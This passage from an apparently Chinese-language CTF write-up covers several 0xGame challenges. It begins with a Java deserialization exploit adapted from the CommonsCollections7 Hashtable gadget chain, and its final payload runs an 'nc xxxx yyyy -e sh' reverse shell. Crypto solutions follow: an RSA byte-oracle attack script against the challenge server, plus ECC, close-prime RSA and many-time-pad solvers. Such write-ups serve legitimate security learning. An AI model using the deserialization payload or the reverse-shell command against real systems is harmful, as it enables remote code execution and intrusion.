        Field f = Tools.class.getDeclaredField("girlfriend");
        f.setAccessible(true);
        f.set(tools, "calc.exe");
        Map map1 = new HashMap();
        Map map2 = new HashMap();
        map1.put("yy", tools);
        map2.put("zZ", tools);
        Hashtable ht = new Hashtable();
        ht.put(map1, 1);
        ht.put(map2, 2);
        Serialization.exploit(ht); // writeObject and readObject
    }
}

直接看 HashTable 的 readObject()

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210241733667.png

调用了 reconstitutionPut()

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210241735650.png

这里的 hash 计算的是 key.hashCode(), 也就是说仅和 key 有关, 同时 index 也是由 hash 计算出来的, 并且只要 hash 相同 index 就相同

变量 e 就是通过计算出来的 index 来取出 HashTable 中已有的元素

我们的目标是进入到 e.key.equals(key) 这一步, 但由于逻辑运算符的短路特性, 必须要满足 e.hash == hash 才能执行后面的内容

cc7 的链子利用的是两个 HashMap, 并往里面放入特定的 key 和 value, 从而确保两个 HashMap 计算出来的 hashCode 是相同的

继续单步步入 e.key.equals(key), 由于 HashMap 没有实现 equals, 所以执行的是 AbstractMap 的 equals 方法

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210241746458.png

e 就是上一步是 e.key, m 就是被传入 equals 方法中的 HashMap

value 是从 e 这个 HashMap 取出来的, 也就是 Tools 对象

题目源码中有 if (obj instanceof String) 这句, 限制了传入的参数必须是 String 类型, 如果直接照抄 cc7 的 payload, m.get(key) 的值就变成 null 了, 因为此时的 key 是 map1 的 key, 即 yy, 而 m 是 map2, 里面只有 zZ, 所以会返回 null

解决方法就是让 map1 map2 里面的 key value 都相等, 即同时往 map1 map2 中放入 yyzZ 这两个 key

package com.ctf.game.Controller;

import com.ctf.game.Serialization;

import java.lang.reflect.*;
import java.util.*;

public class Demo{
    public static void main(String[] args) throws Exception{
        Tools tools = new Tools();
        Field f = Tools.class.getDeclaredField("girlfriend");
        f.setAccessible(true);
        f.set(tools, "calc.exe");
        Map map1 = new HashMap();
        Map map2 = new HashMap();
        map1.put("yy",tools);
        map1.put("zZ","zZ"); // add element
        map2.put("zZ",tools);
        map2.put("yy","yy"); // add element
        Hashtable ht = new Hashtable();
        ht.put(map1, 1);
        ht.put(map2, 2);
        Serialization.exploit(ht); // writeObject and readObject
    }
}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210241758452.png

这样 m.get(key) 返回的就是 String 类型的 yy, 从而成功调用到 Tools.equals(), 最终弹出了计算器

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210241800342.png

剩下的就是执行命令反弹 shell 然后查看 flag

package com.ctf.game.Controller;

import java.lang.reflect.*;
import java.util.*;

public class Demo{
    public static void main(String[] args) throws Exception{
        Tools tools = new Tools();
        Field f = Tools.class.getDeclaredField("girlfriend");
        f.setAccessible(true);
        f.set(tools, "nc xxxx yyyy -e sh");
        Map map1 = new HashMap();
        Map map2 = new HashMap();
        map1.put("yy",tools);
        map1.put("zZ","zZ");
        map2.put("zZ",tools);
        map2.put("yy","yy");
        Hashtable ht = new Hashtable();
        ht.put(map1, 1);
        ht.put(map2, 2);
        System.out.println(Tools.base64Encode(Tools.serialize(ht)));
    }
}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210241803012.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210241804746.png

import socketserver
from Crypto.Util.number import *
import os
import signal
import string
from random import *
from secret import _flag

banner = r"""                               
  ____        _          ___                 _      
 | __ ) _   _| |_ ___   / _ \ _ __ __ _  ___| | ___ 
 |  _ \| | | | __/ _ \ | | | | '__/ _` |/ __| |/ _ \
 | |_) | |_| | ||  __/ | |_| | | | (_| | (__| |  __/
 |____/ \__, |\__\___|  \___/|_|  \__,_|\___|_|\___|
        |___/                                       

"""
menu = r"""
MENU:
1.GetKey
2.Encrypt
3.Decrypt
4.Quit
"""


def GenerateRSAKey():
    n, phi = 1, 1
    for i in range(4):
        while True:
            p = getPrime(1000)
            if isPrime(p):
                break
        n *= p
        phi *= (p - 1)
    e = getPrime(randint(20, 24))
    d = inverse(e, phi)
    return n, e, d


class Task(socketserver.BaseRequestHandler):
    def _recvall(self):
        BUFF_SIZE = 9182
        data = b''
        while True:
            part = self.request.recv(BUFF_SIZE)
            data += part
            if len(part) < BUFF_SIZE:
                break
        return data.strip()

    def printf(self, msg, newline=True):
        if newline:
            msg += "\n"
        self.request.sendall(msg.encode())

    def scanf(self, prompt='> '):
        self.printf(prompt, newline=False)
        return self._recvall()

    def handle(self):
        signal.alarm(1200)
        self.printf(banner)
        n, e, d = GenerateRSAKey()
        flag = _flag
        flag = bytes_to_long(os.urandom(390) + b"          " + flag.encode() + b"          " + os.urandom(30))
        for ___ in range(1607087):
            self.printf(menu)
            try:
                op = int(self.scanf())
                if op == 1:
                    self.printf(f"n={n}")
                    self.printf(f"e={e}")
                    self.printf(f"c={pow(flag, e, n)}")
                elif op == 2:
                    m = int(self.scanf("Enter your plaintext in decimal format >"))
                    c = pow(m, e, n)
                    msg = long_to_bytes(c).hex()[-2:]
                    self.printf(f"The last byte of your Ciphertext is: {msg}")
                elif op == 3:
                    c = int(self.scanf("Enter your ciphertext in decimal format >"))
                    m = pow(c, d, n)
                    msg = long_to_bytes(m).hex()[-2:]
                    self.printf(f"The last byte of your Plaintext is: {msg}")
                else:
                    break
            except:
                self.printf("Wrong Input")
                break
        self.printf("Quitting...")


class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    pass


class ForkedServer(socketserver.ForkingMixIn, socketserver.TCPServer):
    pass


if __name__ == "__main__":
    HOST, PORT = '0.0.0.0', 10003
    server = ForkedServer((HOST, PORT), Task)
    server.allow_reuse_address = True
    print("Server at 0.0.0.0 port " + str(PORT))
    server.serve_forever()

参考文章

https://ctf-wiki.org/crypto/asymmetric/rsa/rsa_chosen_plain_cipher/#rsa-byte-oracle

https://xz.aliyun.com/t/2446#toc-22

# _*_ coding:utf-8 _*_
import gmpy2
from Crypto.Util.number import  bytes_to_long, long_to_bytes
from fractions import Fraction
import re
from pwn import *

p = remote('124.223.224.73',10003)

def getkey():
    p.recvuntil('> ')
    p.sendline(b'1')
    n = int(p.recvline().replace('n=',''))
    e = int(p.recvline().replace('e=',''))
    c = int(p.recvline().replace('c=',''))
    return n,e,c

def dec(data):
    p.recvuntil('> ')
    p.sendline(b'3')
    p.recvuntil('Enter your ciphertext in decimal format >')
    p.sendline(bytes(c))
    p.recvuntil('The last byte of your Plaintext is: ')
    num = bytes_to_long(p.recv(2).decode('hex'))
    return num

def recover_flag(flagcipher,n,e):
    submap = {}
    for i in range(0, 256):
        submap[-n * i % 256] = i
    cipher256 = pow(bytes_to_long(256), e, n)
    last_bytes = dec(flagcipher)
    L = Fraction(0, 1)
    R = Fraction(1, 1)
    for i in range(128):
        print i
        flagcipher = flagcipher * cipher256 % n
        b = dec(flagcipher)
        k = submap[b]
        L, R = L + (R - L) * Fraction(k, 256), L + (R - L) * Fraction(k + 1, 256)
    low = int(L * n)
    return long_to_bytes(low - low % 256 + last_bytes)

n,e,c = getkey()

print recover_flag(c,n,e)

用先知的脚本本地跑一直超时… 代码中 signal.alarm(1200) 限制了时间为 20 分钟

学长说这个脚本是 oracle, 题目是 bytes oracle, 但是 ctf-wiki 里的代码不会改呜呜呜

于是查了下 nc 服务器的 ip, 刚好是腾讯云上海机房, 然后自己的腾讯云 vps 恰好也在上海, 最后就扔到了 vps 上跑…

试了好几次终于卡着 19 分钟的时间成功了

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210261750848.png

flag 为 0xGame{RSA|Byte_0racle~~~}

task.sage

from secret import msg
flag = b'0xGame{' + msg + b'}'
p = 112495892893734483388663296402932842095997843753374438421695290988359832460051
x = bytes_to_long(msg[:8])
y = bytes_to_long(msg[8:])
a = 101981543389703054444906888236965100227902100585263327233246492901054535785571
b = 2706186933878057652676309926348143366670031701983557300942511880324524788574
E = EllipticCurve(GF(p),[a,b])
G = E(101981543389703054444906888236965100227902100585263327233246492901054535785573,91039746864447832832895531433088113132756837557011083320841009534578343965536)
m = E(x,y)
n = G.order()
k = randint(1,n)
K = k*G
r1 = randint(1, n)
r2 = randint(1, n)
c1 = m + r1 * K
c2 = r2 * G

print(k)
print(r1)
print(r2)
print(c1.xy())
print(c2.xy())

# 71945889038953341847263519104630318243817670767276069261230241683585545826661
# 17508017898353406319910889374706380553395041177439941992127017651621727142700
# 9635688439246373463146554181223462429254170330456300413235282298036335053171
# (50699670968971868104581239148265328978400022565577671265162163603182863155985, 35650116946501339414509636935589952076371147766891190369628323621304967371478)
# (24844834536235754929295699976588636674139783137334889500986181346650283652602, 103436077552626107087076436692500561168148578742541763620395982301426624422180)

椭圆曲线加密, 刚开始以为是跟 RSA 一样考察相关攻击方法的, 后来发现只是最基本的加解密, 网上耐心搜一搜就能做出来

参考文章 https://www.cnblogs.com/lnjoy/p/ecc.html

p a b k r1 r2 G 都已知, 那么根据 c1 c2 这两个点就可以直接算出来点 m

参考文章中的解密代码 m = c1 - k * c2 其实就是对原来加密的表达式进行移项

c1 = m + r * K
c2 = r * G
K = k * G

m 的推导如下

m = c1 - r * K
  = c1 - r * k * G
  = c1 - k * c2

类似的, 由题目中加密的表达式可以很容易地推出 m 的值

c1 = m + r1 * K
c2 = r2 * G
K = k * G

m = c1 - r1 * K
  = c1 - r1 * k * G

好像并没有用到 c2 这个点(?)

最终脚本如下

p = 112495892893734483388663296402932842095997843753374438421695290988359832460051
a = 101981543389703054444906888236965100227902100585263327233246492901054535785571
b = 2706186933878057652676309926348143366670031701983557300942511880324524788574
k = 71945889038953341847263519104630318243817670767276069261230241683585545826661
r1 = 17508017898353406319910889374706380553395041177439941992127017651621727142700
r2 = 9635688439246373463146554181223462429254170330456300413235282298036335053171

E = EllipticCurve(GF(p),[a,b])
c1 = E(50699670968971868104581239148265328978400022565577671265162163603182863155985, 35650116946501339414509636935589952076371147766891190369628323621304967371478)
c2 = E(24844834536235754929295699976588636674139783137334889500986181346650283652602, 103436077552626107087076436692500561168148578742541763620395982301426624422180)
G = E(101981543389703054444906888236965100227902100585263327233246492901054535785573,91039746864447832832895531433088113132756837557011083320841009534578343965536)

m = c1 - r1 * k * G
print(m)

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210261839391.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210261840113.png

flag 为 0xGame{Ecc:have_fun!~~~}

from Crypto.Util.number import *
from gmpy2 import next_prime
from random import getrandbits
from secret import flag

p = getStrongPrime(1024)
q = next_prime(p ^ ((1 << 1024) - 1) ^ getrandbits(16))
n = p * q
e = 65537

m = bytes_to_long(flag)
assert m < n
c = pow(m, e, n)

print(hex(n))
# 0x2d664b36d81e6b469d7ecf3e92b4635a9361b834484478cdd58258a2a68abc3ebc4a5cd75cd2b9f2e2a851955f7dc08253d39ec9cc0443fcf3836bef9fbfd1f66fac032247d573ee6f647b40de0b76dd1250ec2ff0de257c3e9d8626aa0f9627852669492476f399878e26b8744089ebdf3d1d5b58adc6ce080a49c27d1d04440a692ecaa4621642c034b516f5b11e25d448e970f8212c72a63f30dee5658bb97d72c3216dcf5fbf111d14f0945bda5f3cd79769ecf867a28ea581986d1e906322542d114f021e2bc5597c57cad9be1e284b5ad3632a827a052b4ef6da125e8987aeccddba47c1201e9156e5245c753a5806d5d6a7bfd0c1e627a6694db42fa1

print(hex(c))
# 0x51d7e86e676e3816646d9b1dddc60505b08004176ded1f4dcfbc2be43b4ad7db28e750e923b2c31a67e61c75a1080c8d2e984f5180186085739d2e1ee591837c3579d1e399aabeb28c0adcc0851791c865e4b2eafc4753e274b0a3240a96fb07c9b5e99f1fe524913faf082161aaf4ceda5367805642e7b3fe4c2a34289aee31f95d54aa70bbd2356d0ff634f9118d93bdf1d7fef44ee291c37de0bc19cc2cfbcde8f2d35a0083a543fe073ecbf5f599091a2e4c49f914bf7001111fe28baa1726cbfe23964d743db93091f9486399b5f611e94cf0891707d69b4ba9299eda098a0f157a5cdde2279c3e7291fc2e1a63b158b37d767b7d3b5ee333e2681779c

参考文章 https://blog.csdn.net/m0_62506844/article/details/124256746

题目几乎一样…. 但这题生成 q 的时候多了一个 getrandbits(16), 不过跑的时候发现并没有影响

from Crypto.Util.number import *
import gmpy2

n = 0x2d664b36d81e6b469d7ecf3e92b4635a9361b834484478cdd58258a2a68abc3ebc4a5cd75cd2b9f2e2a851955f7dc08253d39ec9cc0443fcf3836bef9fbfd1f66fac032247d573ee6f647b40de0b76dd1250ec2ff0de257c3e9d8626aa0f9627852669492476f399878e26b8744089ebdf3d1d5b58adc6ce080a49c27d1d04440a692ecaa4621642c034b516f5b11e25d448e970f8212c72a63f30dee5658bb97d72c3216dcf5fbf111d14f0945bda5f3cd79769ecf867a28ea581986d1e906322542d114f021e2bc5597c57cad9be1e284b5ad3632a827a052b4ef6da125e8987aeccddba47c1201e9156e5245c753a5806d5d6a7bfd0c1e627a6694db42fa1
c = 0x51d7e86e676e3816646d9b1dddc60505b08004176ded1f4dcfbc2be43b4ad7db28e750e923b2c31a67e61c75a1080c8d2e984f5180186085739d2e1ee591837c3579d1e399aabeb28c0adcc0851791c865e4b2eafc4753e274b0a3240a96fb07c9b5e99f1fe524913faf082161aaf4ceda5367805642e7b3fe4c2a34289aee31f95d54aa70bbd2356d0ff634f9118d93bdf1d7fef44ee291c37de0bc19cc2cfbcde8f2d35a0083a543fe073ecbf5f599091a2e4c49f914bf7001111fe28baa1726cbfe23964d743db93091f9486399b5f611e94cf0891707d69b4ba9299eda098a0f157a5cdde2279c3e7291fc2e1a63b158b37d767b7d3b5ee333e2681779c
e = 65537
t1 = 1 << 1024
p = (2 ** 1024 + gmpy2.iroot((2 ** 1024) ** 2 - 4 * n,2)[0]) // 2
p = int(p)
while n % p != 0:
    p = gmpy2.next_prime(p)
q = n // p
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
print(long_to_bytes(m))

跑出来的结果为 0xGame{c3c7bca98ce4dc4cce797d8197597a40}

output.txt

79166715050c08490316520d1c1c5450530d1b11451918
421567021f1c0b1d01004a1001175e5c1a0a5301160819
101934411e0d141b1a1b520d115e131301591207450c13
101925031f000d000f075a0c1b5255130159511717140d
441720130c1513000d53401a0606561151575335450e0f
4908330e0a171a19061a5043060b40081614531d164d1c
5e01670202080b1c1a164143060b4008161453000d0c09
1011291702090d0c1d5350110c024713140b12040d1453
102b3202054508101d07560e06525a1210150610004d1b
5f0a670803160f080010564f5513130f0a0a0711084d1b
5f0a671208060e1b0b53560f1011470e1c171a1745001c
59146716050c18014e1e5a041d0613151d1a1f0101085d
5d1d330902010849081c4143111b541507181f5416041a
5e1933141f0008454e10411a05065c1b0118031c0c0e5d
581934094d030e070d075a0c1b011f5c181c0a54080c13
511f220c080b0f491a16500b1b1b4209160a5f54040319
100b2841020b55ffffffffffffffffffffffffffffffff

参考文章 https://www.ruanx.net/many-time-pad/

直接用文章里给出的脚本, 注意要修正几个字符 (根据上下文来联想)

import Crypto.Util.strxor as xo
import libnum, codecs, numpy as np

def isChr(x):
    if ord('a') <= x and x <= ord('z'): return True
    if ord('A') <= x and x <= ord('Z'): return True
    return False

def infer(index, pos):
    if msg[index, pos] != 0:
        return
    msg[index, pos] = ord(' ')
    for x in range(len(c)):
        if x != index:
            msg[x][pos] = xo.strxor(c[x], c[index])[pos] ^ ord(' ')

dat = []

def getSpace():
    for index, x in enumerate(c):
        res = [xo.strxor(x, y) for y in c if x!=y]
        f = lambda pos: len(list(filter(isChr, [s[pos] for s in res])))
        cnt = [f(pos) for pos in range(len(x))]
        for pos in range(len(x)):
            dat.append((f(pos), index, pos))

c = [codecs.decode(x.strip().encode(), 'hex') for x in open('output.txt', 'r').readlines()]

msg = np.zeros([len(c), len(c[0])], dtype=int)

getSpace()

dat = sorted(dat)[::-1]
for w, index, pos in dat:
    infer(index, pos)

def know(index, pos, ch):
    msg[index, pos] = ord(ch)
    for x in range(len(c)):
        if x != index:
            msg[x][pos] = xo.strxor(c[x], c[index])[pos] ^ ord(ch)

know(1,10,'y')
know(1,6,'p')
know(4,1,'o')
print('\n'.join([''.join([chr(c) for c in x]) for x in msg]))

key = xo.strxor(c[0], ''.join([chr(c) for c in msg[0]]).encode())
print(key)

仔细看一下原文章里的脚本可以知道 know 的第一个参数指从零开始数的第几行, 第二个参数指某一行从零开始数的第几个字符

修正前

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210251140929.png

修正后

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210251143745.png

flag 为 0xGame{ins3cur3|system}